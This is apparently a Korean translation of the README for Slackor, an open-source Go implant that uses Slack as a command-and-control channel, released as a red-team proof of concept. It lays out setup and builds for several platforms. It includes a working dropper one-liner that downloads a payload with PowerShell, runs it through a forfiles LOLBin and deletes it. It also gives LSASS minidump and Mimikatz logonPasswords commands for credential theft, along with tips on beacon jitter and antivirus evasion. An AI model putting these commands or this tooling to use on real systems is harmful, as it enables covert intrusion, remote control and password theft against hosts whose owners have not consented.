
Slack을 명령 및 제어 서버로 사용하는 Golang 임플란트
Maintained at | https://github.com/n00py/Slackor 에서 유지 관리됩니다.
Slack을 명령 및 제어 채널로 사용하는 Golang 임플란트입니다.
이 프로젝트는 Gcat과 Twittor에서 영감을 받았습니다.
이 도구는 개념 증명으로 공개되었습니다. Slack 앱을 만들기 전에 Slack App Developer Policy를 읽고 이해하시기 바랍니다.
참고: 서버는 Python 3으로 작성되었습니다.
작동하려면 다음이 필요합니다:
이 저장소에는 다섯 개의 파일이 포함되어 있습니다:
install.sh 의존성 설치setup.py Slack 채널, 데이터베이스 및 임플란트를 생성하는 스크립트agent.py 새 임플란트를 생성하는 스크립트server.py Slackor 서버 (Linux에서 실행되도록 설계됨)agent.go Golang 임플란트requirements.txt Python 의존성 (자동 설치됨)시작하려면:
go get github.com/Coalfire-Research/Slackorcd $GOPATH/src/github.com/Coalfire-Research/Slackorinstall.sh 실행setup.py 실행
스크립트를 성공적으로 실행하면 dist/ 디렉토리에 여러 파일이 생성됩니다:
agent.windows.exe: Windows 64비트 바이너리agent.upx.exe: Windows 64비트 바이너리, UPX 압축agent.darwin: macOS 64비트 바이너리agent.32.linux: Linux 32비트 바이너리agent.64.linux: Linux 64비트 바이너리Linux 호스트에서 server.py를 시작한 후, 대상 호스트에 적합한 에이전트를 실행하십시오.
"stager" 모듈을 실행하여 원라이너 및 기타 드로퍼를 생성합니다.
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe
이 명령은 InvokeWebRequest(PS v.3+)를 실행하여 페이로드를 다운로드하고, LOLBin을 사용하여 실행한 후, 종료되면 스스로 삭제합니다. 이는 작동 예제이지만 명령을 수정하여 다른 다운로드 방식이나 실행 방식을 사용할 수 있습니다.
"help"를 입력하거나 [TAB]을 눌러 사용 가능한 명령 목록을 확인하세요. "help [COMMAND]"를 입력하면 해당 명령에 대한 설명을 볼 수 있습니다.
(Slackor)
에이전트가 체크인하면 상호 작용할 수 있습니다. "interact [AGENT]"를 사용하여 에이전트 프롬프트로 들어갑니다. "help"를 입력하거나 [TAB]을 눌러 사용 가능한 명령 목록을 확인하세요.
(Slackor:AGENT)
명령 출력 및 다운로드된 파일은 Slack의 TLS 전송 암호화 외에도 AES 암호화됩니다.
모듈은 디스크에 쓰는 작업을 수행하기 전에 경고합니다.
셸 명령을 실행할 때 cmd.exe/bash가 실행된다는 점에 유의하세요. 호스트에서 모니터링될 수 있습니다.
다음은 cmd.exe/bash를 실행하지 않는 OPSEC 안전 명령입니다:
레드팀/침투 테스트에 안전하게 사용할 수 있나요?
예, 몇 가지 조건이 충족되면 가능합니다. 데이터는 전송 중에 암호화되지만, 에이전트는 복호화 키를 포함하고 있습니다. 에이전트 사본을 획득한 사람은 이를 리버스 엔지니어링하여 API 키와 AES 비밀 키를 추출할 수 있습니다. 워크스페이스에 침입하거나 액세스 권한을 얻은 사람은 그 안의 모든 데이터를 검색할 수 있습니다. 이러한 이유로 여러 조직에 대해 동일한 인프라를 재사용하는 것은 권장되지 않습니다.
Mimikatz는 어떻게 되나요?
임플란트에는 메모리 내 비밀번호 덤프 기능이 없습니다. logonPasswords가 필요하다면 다음을 시도할 수 있습니다:
(Slackor: AGENT)minidump
그러면 Pypykatz가 자동으로 비밀번호를 추출합니다. 또는 Windows에서 Mimikatz를 사용할 수 있습니다.
>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords
크로스 플랫폼인가요?
제한적인 크로스 플랫폼 지원을 제공합니다. 실행 가능한 모든 시스템에서 완전히 테스트되지는 않았습니다. 서버는 Kali Linux에서 실행되도록 설계되었습니다. 에이전트는 Windows, Mac, Linux용으로 컴파일되지만 주로 Windows 10에서 테스트되었습니다. 에이전트는 해당 플랫폼에서 지원되지 않는 명령을 잘못 처리할 수 있습니다 (Mac에서 minidump를 시도하지 마세요).
확장성은 어떤가요?
확장성은 Slack API에 의해 제한됩니다. 여러 에이전트가 있는 경우 사용하지 않는 비컨의 비컨 간격을 늘리는 것을 고려하세요.
표준 비컨 분석에 취약한가요?
현재 각 비컨에는 20%의 지터가 내장되어 있으며, 비컨 시간을 사용자 지정할 수 있습니다. 새 명령이 수신되지 않는 한 에이전트 체크인 요청 및 응답 패킷의 크기는 매번 거의 동일합니다.
[x]를 더 좋은 방법 [y]로 할 수 있는데 왜 [x]로 했나요?
최선을 다했습니다. PR은 환영합니다 :)
AV에 탐지됩니다!
이제 오픈 소스가 되었기 때문에 문제가 발생할 수 있습니다. 가능한 모듈을 수정하겠지만 항상 모든 AV를 우회한다는 보장은 없습니다.